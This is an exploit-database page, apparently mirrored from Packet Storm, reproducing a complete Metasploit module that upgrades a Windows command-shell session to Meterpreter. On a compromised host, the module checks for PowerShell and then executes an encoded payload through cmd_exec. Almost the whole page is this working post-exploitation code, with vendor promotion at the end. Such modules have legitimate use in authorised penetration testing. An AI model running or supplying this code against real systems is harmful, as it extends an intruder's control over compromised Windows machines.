Lucene search
K

Windows Command Shell Upgrade (Powershell)

🗓️ 11 Feb 2014 00:00:00Reported by Ben CampbellType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

Windows Command Shell Upgrade (Powershell). Upgrade Windows Shell session to Meterpreter

Code
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'msf/core/exploit/powershell'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Exploit::Powershell  
include Post::File  
  
def initialize(info={})  
super( update_info( info,  
'Name' => 'Windows Command Shell Upgrade (Powershell)',  
'Description' => %q{  
This module executes Powershell to upgrade a Windows Shell session  
to a full Meterpreter session.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'  
],  
'DefaultOptions' =>  
{  
'WfsDelay' => 10,  
},  
'DisclosureDate' => 'Jan 01 1999',  
'Platform' => [ 'win' ],  
'SessionTypes' => [ 'shell' ],  
'Targets' => [ [ 'Universal', {} ] ],  
'DefaultTarget' => 0  
))  
end  
  
def exploit  
psh_path = "\\WindowsPowerShell\\v1.0\\powershell.exe"  
  
if file? "%WINDIR%\\System32#{psh_path}"  
print_status("Executing powershell command line...")  
cmd_exec(cmd_psh_payload(payload.encoded))  
else  
fail_with(Exploit::Failure::NotVulnerable, "No powershell available.")  
end  
end  
  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation